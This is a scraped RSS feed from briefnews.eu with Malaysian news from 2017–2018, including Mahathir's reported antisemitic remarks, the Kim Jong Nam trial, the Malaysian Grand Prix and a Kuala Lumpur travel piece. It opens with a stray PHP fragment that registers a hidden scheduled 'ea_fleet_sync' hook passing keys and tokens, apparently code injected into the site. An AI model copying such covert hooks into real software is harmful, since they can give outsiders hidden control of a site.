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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Malaysian – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 03 Oct 2018 00:54:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Malaysian – Brief News https://briefnews.eu 32 32 Malaysian PM doubles down on ‘hook-nosed Jews’ comments, blames Israel for ME woes https://briefnews.eu/malaysian-pm-doubles-down-on-hook-nosed-jews-comments-blames-israel-for-me-woes/ https://briefnews.eu/malaysian-pm-doubles-down-on-hook-nosed-jews-comments-blames-israel-for-me-woes/#respond Wed, 03 Oct 2018 00:54:59 +0000 http://briefnews.eu/malaysian-pm-doubles-down-on-hook-nosed-jews-comments-blames-israel-for-me-woes/

Malaysia’s nonagenarian prime minister has defended his controversial statements referring to Jews as “hook-nosed,” doubling down to assert that the creation of Israel has triggered most of the current troubles in the Middle East.

Mahathir Mohamad’s comments came after being asked about alleged instances of being a “proud anti-Semite” during his long career in politics, by journalist Zeinab Badawi during an interview on BBC’s Hardtalk program on Tuesday.

“If you are going to be truthful, the problem in the Middle East began with the creation of Israel. That is the truth. But I cannot say that,” he told Badawi. Labelling Israelis as “special” over other nationalities, Mohamad said that any challenges to the Israeli state’s historical narratives, such as questioning the exact number of Jews murdered during the Holocaust, are automatically branded as anti-Semitic.

Quoting his 1970 book “the Malay Dilemma,” Mohamad was then challenged about describing Jews as “hook-nosed” and who “understand money instinctively.” He responded that Malaysians too were the subject of comments like being “lazy” or about their appearance.

“They are hook-nosed,” he agreed, before adding that “many people called the Malays fat-nosed. We didn’t object, we didn’t go to war for that.”

At 93, Mohamad became the world’s oldest leader in May, when he swept to power for the second time in his career, following the resignation and arrest of Najib Razak amid a massive corruption scandal.

However, his return to power was met with criticism from those who say his previous remarks on Israel were anti-Semitic, with a tweet from US-based Anti-Defamation League (ADF) calling it “unacceptable.”

While the Israeli government has yet to comment and the ADL has yet to react to the comments made in his recent interview, the American Jewish Committee (AJC) slammed the remarks tweeting: “such moments by political leaders cannot be tolerated.”

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  • The trial against two women charged with the murder of the estranged half-brother of North Korean leader Kim Jong Un is set to continue. 
  • A court ruled Thursday there was enough evidence presented by prosecution to mount a case. 
  • The women have been asked to enter their defense. They face death penalty on charges.

KUALA LUMPUR (Reuters) – The trial of two women charged with the murder of the estranged half-brother of North Korean leader Kim Jong Un will continue, a Malaysian judge ruled on Thursday, adding that the evidence was insufficient to prove it was a political assassination.

Indonesian Siti Aisyah and Doan Thi Huong, a Vietnamese, face the death penalty on charges of murdering Kim JongNam by smearing his face with VX, a nerve agent banned by the United Nations, at a Kuala Lumpur airport on Feb. 13 last year.

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]]> https://briefnews.eu/a-syrian-man-has-been-trapped-in-a-malaysian-airport-for-more-than-a-month/feed/ 0 Are Malaysian Youths Turning Away From Democracy? https://briefnews.eu/are-malaysian-youths-turning-away-from-democracy/ https://briefnews.eu/are-malaysian-youths-turning-away-from-democracy/#respond Tue, 05 Dec 2017 05:36:15 +0000 http://briefnews.eu/are-malaysian-youths-turning-away-from-democracy/ Conditions appeared ripe to nudge Malaysia’s youths to polling booths for next year’s scheduled national elections when, in August, Watan, a nonpartisan nongovernmental organization that encourages voting, tried to gauge the mood of the country’s young men and women.

Since 2015, Malaysia’s Prime Minister Najib Razak has been at the center of one of the country’s biggest financial scandals, accused of siphoning $ 700 million from state-owned investment firm 1Malaysia Development Berhad into his personal accounts — charges he denies. Inflation is soaring. And the popularity of Bersih, a citizens movement demanding clean governance that started in 2005, has only grown in recent years.

Across the board, there is growing apathy toward anything of political interest simply because of the sheer corruption and sense of hopelessness among the citizens.

Locha Menon, civil society activist

But in Watan’s survey of Malaysians aged between 21 and 30, with pollsters Merdeka Center as partners, an overwhelming 70 percent of respondents said they were not interested in the country’s politics. And 71 percent said they believe they have no influence whatsoever on political outcomes. Malaysian Election Commission data also suggests two-thirds of the country’s unregistered voters are between 21 and 30. Instead, more and more young Malaysians are turning toward other, diverse forms of activism to showcase broader frustration with their political system, at a time an itch to unseat a government accused of corruption appeared likelier.

“Across the board, there is growing apathy toward anything of political interest simply because of the sheer corruption and sense of hopelessness among the citizens,” says Locha Menon, who was media and communications officer at Bersih 2.0 — the group’s second mega rally in 2011, when tens of thousands of activists flooded the streets of Kuala Lumpur decked out in the group’s yellow T-shirts. “Young people must look for other avenues to make their voices and demands heard.”

Much of the apathy toward the election, which must be held by August 2018, has been blamed on the choices available. The United Malays National Organisation, better known by its abbreviation UMNO, has dominated Malaysian politics since the first elections held in 1959 following independence from British rule. Every prime minister has hailed from the party, including Najib, who has announced he will stand as the UMNO candidate again next year.

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But while Najib has faced corruption allegations linking a murky web of players from across the world, including Saudi princes and Leonardo DiCaprio, his likely principal opponent, a 92-year-old, carries his own taint. Center-left coalition Pakatan Harapan’s chairman Mahathir Mohamad — himself a former UMNO prime minister whose legacy has been dogged with corruption allegations by critics — is expected to challenge Najib. Infighting between the opposition coalition’s principal leaders, including jailed leader Anwar Ibrahim, who has been engaged in a lengthy feud with Mahathir for two decades now, is also holding back those looking for an alternative to Najib.

With less than a year to the elections, Malaysia’s millennials are instead flocking to a range of environmental and social causes, says Watan executive director Masjaliza Hamzah. These activities include teaching refugee and indigenous children, as well as self-publishing and student-led campaigns against a controversial loan program, apart from more traditional volunteering at nonprofits. These activities often do not require active engagement with policy, but on the few occasions where their campaigns intersect with formal politics, Malaysia’s youths remain willing to take a stand, says Hamzah. When a Najib government minister, without first holding consultations with stakeholders, in 2014tried to stop programs where volunteers feed the homeless, young Malaysians jumped into the fray and blocked the move. “These are the small ways in which youths engage outside of the traditional voting model,” she says.

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To some, like Adrian Yeo, coordinator at climate change youth action group #PowerShiftMsia, this activism beyond the polling booth is proof that Malaysia’s younger generation is engaged with its future. His organization focuses on raising awareness about the dangers of climate change, advocates for policy responses and monitors the public discourse. A preelection project includes gathering data on public sentiment and views of parliamentarians to measure the discrepancy between views of the community and its representatives over climate change. The work done by #PowerShiftMsia members is intensely political, Yeo insists. “Awareness and interest in politics is at an all-time high,” he says.

Indeed, youths constitute the majority of Bersih supporters too. Facebook data provided by the organization shows 17 percent of Bersih supporters on the platform are aged between 18 and 24, with another 48 percent between 25 and 34. And the dark arts practiced by Malaysia’s political elite could be playing a role in low voter engagement, cautions Menon. Many activists around the country have found their registration with the Election Commission put on hold after being anonymously challenged, she says.

Still, say both Hamzah and Menon, the evidence does suggest a definite disinterest in voting — and that is worrying. “It does point to the direction that this group of voters feels disenfranchised by Malaysian politics,” says Hamzah, adding that Watan hopes “to inspire them to go out and register and, when the time comes, for them to vote.”

To Menon, the frustration with Malaysian politics among the country’s youth is understandable. But she worries about the country’s future if its young men and women stay out of policy and don’t demand change.

“If young Malaysians do not stand up and ask for what they want, what legacy are we leaving behind for those who follow in our footsteps?” she asks. “Hopefully, [it’s] not a bleak future.”

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]]> https://briefnews.eu/are-malaysian-youths-turning-away-from-democracy/feed/ 0 Max Verstappen wins Malaysian Grand Prix as Lewis Hamilton stretches championship lead https://briefnews.eu/max-verstappen-wins-malaysian-grand-prix-as-lewis-hamilton-stretches-championship-lead/ https://briefnews.eu/max-verstappen-wins-malaysian-grand-prix-as-lewis-hamilton-stretches-championship-lead/#respond Sun, 01 Oct 2017 20:53:06 +0000 http://briefnews.eu/max-verstappen-wins-malaysian-grand-prix-as-lewis-hamilton-stretches-championship-lead/

The Dutchman had expected to need rain to take victory but Kimi Raikkonen’s engine failure before the race even started gave him the chance to attack pole-sitter Lewis Hamilton.

Verstappen, who turned 20 on Saturday, dived down the inside of Turn 1 on Lap 4 to get past Hamilton and never gave up the lead.

The Brit meanwhile quickly became more concerned with title rival Sebastian Vettel, who had started last because of engine problems on Saturday which did not allow him to set a time.

The German, who had comfortably the fastest car on race day, sliced through the field methodically to minimise the damage of Saturday’s disaster.

But despite Mercedes’ struggles for race pace, Vettel could not quite get back on level terms with Hamilton, allowing him to open up a 34-point lead in the title race.

Verstappen has endured an “annus horribilis” at Red Bull, with seven retirements and only one podium finish before Malaysia.

And he admitted beforehand that in dry conditions, he did not expect to be challenging at the front of the race.

Raikkonen in the Ferrari, starting second, should have been the major threat but he was pushed off the grid just minutes before the race start with a turbo problem that left him unable even to start the race.

It gave Verstappen a clear run down to Turn 1 and he got ahead of team-mate Daniel Ricciardo despite the Australian veering across the track to cover off the move.

The 20-year-old quickly had Hamilton in his sights as Mercedes’ fears about their lack of race pace came to fruition.

Verstappen needed just three laps and one corner to get past the Brit, who later admitted he hadn’t fought too hard for the position, knowing that finishing ahead of Vettel was more important.

Much further back, Vettel wasn’t exactly tearing through the field, but he did make steady progress. The German was even looking at catching Hamilton himself for a brief period but instead he had to settle for fourth place after Ferrari made him back off due to an overheating engine behind Ricciardo.

Adding injury to the insult of allowing Hamilton to take a 34-point lead, Vettel finished the afternoon on three wheels after colliding with Lance Stroll on the slowdown lap.

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Sebastian Vettel is the most successful driver ever at the race in the modern era having finished first four times here.

However, an engine problem on Saturday that saw him left without turbo meant he could not record a qualifying time and will start last on the grid.

The German is already 28 points behind F1 World Drivers’ Championship leader Lewis Hamilton and could see his title hopes fade away almost entirely if he does not fight his way through the field.

But even once he does get past the slower cars, he will still find himself troubled by the Red Bulls who have shown good pace, especially in the wet, and Ferrari team-mate Kimi Raikkonen, who starts second.

  • Starting grid: 1st Hamilton, 2nd Raikkonen, 3rd Verstappen, 4th Ricciardo, 5th Bottas, 6th Ocon, 7th Vandoorne, 8th Hulkenberg, 9th Perez, 10th Alonso, 11th Massa, 12th Palmer, 13th Stroll, 14th Sainz, 15th Gasly, 16th Grosjean, 17th Magnussen, 18th Wehrlein, 19th Ericsson, 20th Vettel
  • Some rain expected during race
  • Hamilton looking to stretch 28-point championship lead with six races left
  • Raikkonen pushed off grid with engine problem

Malaysian Grand Prix 2017 LIVE – latest updates from Sepang

7.55am: DISASTER for Ferrari.

“I have no battery. It’s just empty,” Raikkonen said on his way to the grid.

Briefly, Ferrari think they’ve fixed it with some last-minute repairs in the second-place grid slot.

But then the men in red push their car back to the pit-lane for further repairs. That is terrible news for Ferrari, who will now effectively start 19th and 20th.

7.50am: Mercedes are not guaranteed a win here, as a Lewis Hamilton pole often dictates. Their race pace has not been good this weekend and his first task will be beating Kimi Raikkonen into Turn 1.

Behind him, the second row has two aggressive Red Bull drivers waiting to pounce, although Max Verstappen admitted he would need some rain to fall if he wants to win. 10 minutes to go…

7.40am: There was a massive downpour here about an hour ago that has left the track a bit damp and a few cars went out on intermediates on their way to the grid but it looks like we will start on slicks. It’s drying fast in the heat.

7.30am: Just a thought about what appears to be Sebastian Vettel’s title challenge disappearing fast.

There is some cyclical composition for Lewis Hamilton, whose engine failure here last year proved to be decisive in his title battle with Nico Rosberg.

“Oh nooo no!” his radio message rang out on that day.

“Yes YES!” we might hear today.

7.15am: This is of course our last trip to Sepang for the Malaysian Grand Prix.

In April, the Malaysian government confirmed that it had withdrawn its support for the race – their financial backing was the only way the Grand Prix could be staged and they were unable to justify the ongoing spend.

“I think we should stop hosting the F1. At least for a while,” said Malaysia’s youth and sports minister Khairy Jamaluddin.

”Cost too high, returns limited.

“When we first hosted the F1 it was a big deal. First in Asia outside Japan. 

“Now so many venues. No first mover advantage. Not a novelty.”

Sad for me. Plenty have criticised this track but I think it’s spectacular. So there.

7am: Morning! Yes, that’s right. It’s F1 in the Far East which means here in the UK, the petrolheads are up early on Sunday. (It gets worst next week in Japan. Honestly.)

This is sure to be an interesting couple of hours. Remember how we talked about the 2017 cars being beasts to drive? Imagine doing that in the oppressively humid conditions of Malaysia and if you’re Sebastian Vettel, with 19 cars starting in front of you.

There is also rain around – although no two forecasts are the same, adding an extra level of unpredictability to what is already a mouth-watering encounter.

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With three other Grands Prix in the Far East – China, Japan and Singapore – the administration no longer feel the event represents a sensible financial investment.

However, there is still one race remaining with Sebastian Vettel hoping to score a record fifth win in the race.

The Ferrari driver record the fastest time on Friday afternoon and may only have his team-mate Kimi Raikkonen and the Red Bulls to worry about after Mercedes struggled in the wet and the dry to compete with the front runners.

But can turn his engine up and deny Vettel pole and the chance to reduce the Brit’s 28-point lead at the front of the F1 World Drivers’ Championship? Express Sport will bring you the latest action from Sepang.

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9:45am: What happened in FP3 this morning?

Kimi Raikkonen set the fastest time in the final practice session of the Malaysian Grand Prix as Ferrari recorded a one-two finish.

A battle between Sebastien Vettel and the Finn saw the Ferraris dominate on the track ahead of today’s qualifying.

But it’s Raikkonen who’ll go into qualifying with the fastest lap after recording a time of 1:31.880 with Vettell coming home in 1:32.042.

Daniel Ricciardo set the third fastest time of FP3, while Championship leader Lewis Hamilton had to settle for fifth.

Hamilton made a mistake at the final corner on his qualifying simulation, running deep into the hairpin and failing to improve on his earlier time.

8.50am: So this is an early start, European fans! We (and as we are in London, I’m included) had grown rather used to the time zones that let us get out of bed at a reasonable time. But now, we have flown away again and I am back to coming into the office at weird times.

Fortunately, this is rather reasonable for a Saturday morning and we are (sort of) wide awake and ready for Sebastian Vettel and Lewis Hamilton to do battle once again.

The Ferrari is favourite after a strong showing in the dry on Friday and Saturday as Mercedes struggled with some ‘gremlins’ in the car which caused the tyres to overheat. The Brackley bosses can only hope they have solved some of those problems in FP3 this morning although their lap times were still some way off their rivals.

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]]> https://briefnews.eu/malaysian-grand-prix-2017-qualifying-live-lewis-hamilton-looking-for-70th-pole-position/feed/ 0 Malaysian capital scraps annual beer festival amid complaints by Islamic party https://briefnews.eu/malaysian-capital-scraps-annual-beer-festival-amid-complaints-by-islamic-party/ https://briefnews.eu/malaysian-capital-scraps-annual-beer-festival-amid-complaints-by-islamic-party/#respond Mon, 18 Sep 2017 18:28:08 +0000 http://briefnews.eu/malaysian-capital-scraps-annual-beer-festival-amid-complaints-by-islamic-party/ An annual beer festival has been canceled by the authorities in the Malaysian capital of Kuala Lumpur for “sensitivity” reasons. The move also followed objections by an Islamic party which claimed that it could lead to a spike in crime, rape and illicit sex.

Kuala Lumpur City Hall released a short statement Monday, saying that it had rejected an application by the organizers of “Better Beer Festival 2017” to host the event.

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“If the organizers continue with the event without [our] approval, action will be taken in accordance with existing laws,” City Hall warned.

Mybeer (M) Sdn Bhd company, which has staged the beer festival in Kuala Lumpur for the last five years, expressed regret about the authorities’ decision. 

“At our meeting with officials of Kuala Lumpur City Hall, we were instructed to cancel our event, as there are issues with the licensing,” the company said in a statement. 

“We were further informed that the decision was made due to political sensitivity surrounding the event,” the organizers added.

“Yes, it is a sensitive issue,” Kuala Lumpur’s mayor, Mohd Amin Nordin Abd Aziz, said about the beer festival, as cited by Malaysiakini website. However, the official refused to confirm or deny if the cancellation of the event was caused by religious worries.

The Pan-Malaysian Islamic Party (PAS), which is usually at the forefront of protests against concerts, festivals and other events perceived as un-Islamic, has hailed the move by the City Hall.

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“Kuala Lumpur City Hall carried the aspirations of all Malaysians who reject the organization of any immoral festival that damages the people,” Datuk Mohd Khairuddin Aman Razali, PAS spokesman, said in a statement.

“It is hoped this will be a reminder to anyone to wishes to make Malaysia a hub of immoral activities,” he noted. 

Earlier in September, PAS called for the cancellation of the event, which it claimed would result in a spike in crime, rape and illicit sex.

PAS, which is mainly supported by the conservative population of the rural Malaysian north, holds 14 out of the 222 seats in the country’s House of Representatives.

The leader of the Pan-Malaysian Islamic Party, Ahmad Yakob, currently heads the government in the Malaysian state of Kelantan, which is home to over 1.7 million people.

The “Better Beer Festival 2017″ was scheduled to take place on October 6 and 7, and regularly attracts an estimated 6,000 visitors, according to the organizers.

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At least 25 people, including students and teachers, have been killed in a fire that erupted at a religious school in the Malaysian capital, Kuala Lumpur.

“Based on our information at the moment, 25 students and teachers have died in the fire,” the City Fire and Rescue Department told The Star.

“Our personnel are still at the scene,” officials said, adding that the bodies have been moved to a nearby hospital.

The blaze broke out early Thursday morning at around 5:40am local time (9:40pm GMT), Reuters reports. The cause of the fire has not yet been determined.

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]]> https://briefnews.eu/25-students-teachers-killed-in-malaysian-religious-school-fire/feed/ 0 Kuala Lumpur: Why the Malaysian capital really does offer the best of South East Asia https://briefnews.eu/kuala-lumpur-why-the-malaysian-capital-really-does-offer-the-best-of-south-east-asia/ https://briefnews.eu/kuala-lumpur-why-the-malaysian-capital-really-does-offer-the-best-of-south-east-asia/#respond Tue, 29 Aug 2017 10:34:13 +0000 http://briefnews.eu/kuala-lumpur-why-the-malaysian-capital-really-does-offer-the-best-of-south-east-asia/

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The 88-storey Petronas Twin Towers dominate the skyline of Kuala Lumpur

You may have heard somewhere that journalists strive to be objective and unbiased in all things? Well, not this time, I’m afraid. That’s just impossible when it comes to Kuala Lumpur, my favourite city in South East Asia.

KL, as we old hands refer to it, may not be as well-known to Scots travellers as near neighbours Singapore and Bangkok, but that’s a state of affairs I’m more than happy to address.

While Singapore is undoubtedly clean, efficient and easy on the eye it can also be a little, well… dull. And the Thai capital may be an thrilling riot of colour and energy but it can be exhausting, exasperating and the service – outside of top establishments – is often sketchy, at best.

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Kuala Lumpur, however, enjoys the very best of SE Asia without the downsides. It offers all the glitz and modernity of the Lion City without the tiresome rules and regulations, and its street life has all the enlivening buzz of Bangkok without the grime or occasional seediness.

Kuala Lumpur, however, enjoys the very best of SE Asia without the downsides

Not only is English widely spoken, there is glorious colonial architecture and the finest and most varied cuisine in Asia. Add the fact that Malaysians are probably the friendliest, nicest people in the world and you have a winning combination. Oh, it’s extraordinarily good value too.

Accommodation, eating out and getting around is inexpensive and, in the case of public transport, sometimes free. The city’s many tourist attractions won’t break the bank either. Admittedly, high alcohol taxes mean drinks are pricey – but there are ways around that.

If a trip to KL is part of a rare, long-haul treat -perhaps as a stopover on the way to Australia – then you might be looking to indulge yourself to a luxury hotel as well. In which case, you’re in the right place. KL teems with quality four and five-star hotels with room rates a fraction of that even in other Asian countries.

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Traders’ stylish SkyBar enjoys astonishing views and has been voted ‘Best Bar in Malaysia’

Most are scattered around the Golden Triangle, which comprises shopping and nightlife area Bukit Bintang and adjoining Kuala Lumpur City Centre (KLCC), home of the twin Petronas Towers and some of the city’s top visitor draws.

Do any kind of search into recommended hotels in KL and, as often as not, the top choice will be Traders – and with very good reason.

Situated on the fringe of KLCC park this thoroughly modern, yet traditionally welcoming, hotel is popular with tourists and business travellers alike.

Close to the Suria KLCC Mall, the shopping district, public transport links and with plenty of restaurants, bars, clubs and cafes in the area, the location is ideal.

There are almost 600 stylish, comfortable and well-equipped rooms and suites which make for a blissful retreat from the city. For a modest supplement, you can upgrade to a Traders Club room which offers dedicated check-in and check-out, concierge service, free Wi-Fi and complimentary beverages, breakfast, afternoon tea and evening cocktails in the Traders Club Lounge.

Friendly staff are discreet yet always on hand if you need something, and facilities include a choice of restaurants, 24-hour health club and a rooftop pool The hotel’s undoubted crowning glory is, however, aptly found on the 33rd floor – the multi award-winning SkyBar. Stunningly designed and with the best views in the entire city, it’s a must-visit; no wonder the hotel likes to say: “If you haven’t been to SkyBar you haven’t been to KL.”

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Many of Traders comfortable and well-equipped rooms offer views of the iconic twin tower

If you’re lucky, or insistent, you’ll have been looking at KL’s number one attraction out of your hotel window: the 88-storey Petronas Twin Towers. As well as the 58 metre-long, double-decker Sky Bridge connecting the towers at the 41st and 42nd floors, there’s an observation deck on level 86, from where the views are, as you might expect, remarkable. It gets busy, though, so best to get there early – easy enough since you’re just a five-minute stroll away.

Even closer to home is the Aquaria KLCC, part of the same complex as Traders, featuring more than 150 species of marine life including tiger sharks, deadly sea snakes and rays.

Out and about, KL’s next most famous attraction is the Batu Caves, a series of historic subterranean limestone Hindu temples 11km outside the city. The somewhat daunting-looking stairs are well worth the effort, and the ever-present monkeys will keep you entertained on the slog uphill to the awesome Cathedral Cave with its 100 metre-high arched ceiling.

Back in the city, Kuala Lumpur doesn’t sneer at its colonial history, best experienced by visiting Merdaka Square with its Moorishstyle buildings, such as the Sultan Abdul Samad Building – originally HQ of the British administration – and the sublime old KL Sentral railway station.

From there it’s a short walk to Central Market, an unmissable Twenties art deco gem packed with handicraft, jewellery and souvenir stalls, as well as some excellent cafes and restaurants, such as the Precious Old China.

Travelling around Kuala Lumpur is a breeze, there’s a light railway system, metro and even a monorail, though that’s of more use for sightseeing than getting anywhere you might actually want to go.

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Always buzzing, Jalan Alor is the place to sample some of the city’s fabulous street food

Tickets are cheap, but not as cheap as the purple Go KL buses – a completely free service linking most of the city’s top attractions.

Taxis in Kuala Lumpur are cheap, in theory. However, as is common in this part of the world, persuading the driver to use the meter can be a trial. If you have a smartphone, I urge you to download the Grab app. It’s not dissimilar to Uber but fares are paid in cash. I used it several times during my time in KL – including a trip to the airport – and found it to be quick, safe, reliable and inexpensive.

That said, you can – and will – experience KL at its best by foot. Traders offers direct access to a kilometre-long elevated Bintang Walkway, an air-conditioned corridor high above the traffic leading to the tourist, commercial and nightlife centre of Bukit Bintang.

It emerges at the Pavilion, one of the city’s largest and glossiest malls. You can linger to do some high-end shopping, or head on to experience what draws me to the city again and again – the food!

The country’s cultural mix means that you can enjoy Chinese cooking of all types, authentic Indian dishes and – a unique combination of the two, with a little something special added – Malaysian cuisine; sometimes called “nonya” and personified by the traditional -and utterly delicious – beef rendang.

Hang a right at the exit of the Pavilion Mall and it’s a 10-minute amble to Jalan Alor, Food Street, where you can try it all.

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Some will tell you that this is little more than a tourist trap. Don’t believe them. On any given night, hungry and demanding locals vastly outnumber visitors.

After dark, Jalan Alor resembles a huge, outdoor food court… lined by restaurants. As ever in this situation, the best advice is to look for the busiest stall and join the queue. You’re unlikely to be disappointed but, if you want a tip, try the chicken wings and salted egg yolk calamari at Wang Ah Wa, and finish off with coconut ice cream at the stall at the Pavilion end of the street.

If you enjoyed it, or would like to know more before you plunge in, KL has a number of food-orientated tours you can sample. I can recommend Food Tour Malaysia (www.foodtourmalaysia.com) which will chauffeur you around several popular city food courts and “kopitiams” to sample local specialities on a hugely entertaining evening out.

If that sounds a bit overwhelming, or you have issues with street food – though there is nothing to worry about hygiene-wise in KL – then a gentler introduction awaits in the nearby basement of the Lot 10 mall.

Some years ago the local authorities, worried about the future of traditional food stalls, decided to bring together some of the city’s finest exponents under one roof – and this is where they ended up. You can sample all its top-rated dishes here in enclosed, air-conditioned comfort. Prices are slightly higher than you’ll find on the street, but not by much. By Western standards the food is absurdly cheap; a glass of Tiger Beer to wash it down may cost twice as much as your meal.

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Which leads to another thing at which KL excels, nightlife. A sumptuous choice of restaurants we can take for granted, but there are also plenty of nightclubs, chic rooftop bars and expat pubs.

As chance would have it, just three minutes from Jalan Alor is Changkat Bukit Bintang, which has the lot, contained in just four blocks of lively, neon-lit fun. Cocktail lounges, classy whisky bars, and pubs both relaxed and boisterous, whatever your preference, it’s here.

As alluded to earlier, alcohol is expensive in Malaysia. Fortunately, every establishment in CBB has a Happy Hour, and the local interpretation of “hour” is elastic, to say the least. In any case, the combined cost of a night out would scarcely cover a fish supper and bottle of Irn-Bru back home.

The best night out in KL, though, offers spectacle, shopping, eating and drinking. Petaling Street Night Market in Chinatown is judged by many to be the best in all of South East Asia. There are plenty of stalls selling “genuine fake” clothing, watches and handbags which I’m, ahem, told can be of surprisingly high quality, as well as others selling hand-crafted souvenirs and all manner of wild and wonderful knick-knacks.

This being Chinatown, you needn’t look far in search of a bite to eat, or a little roadside stall where you can park yourself on a plastic stool, enjoy a tall bottle of beer and watch the spectacle unfold.

It may be that I’m just a cheap date but, after a few days in KL, doing exactly that, on a sultry Asian evening… there are few places I’d rather be.

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Graham stayed as a guest of Traders Hotel, Kuala Lumpur, part of the Shangri-La group.

Rates for a Deluxe Room, without breakfast, start at 440 Malaysian Ringgit, subject to 10% service charge & 6% GST.

Details: www.shangri-la.com/kualalumpur/traders/

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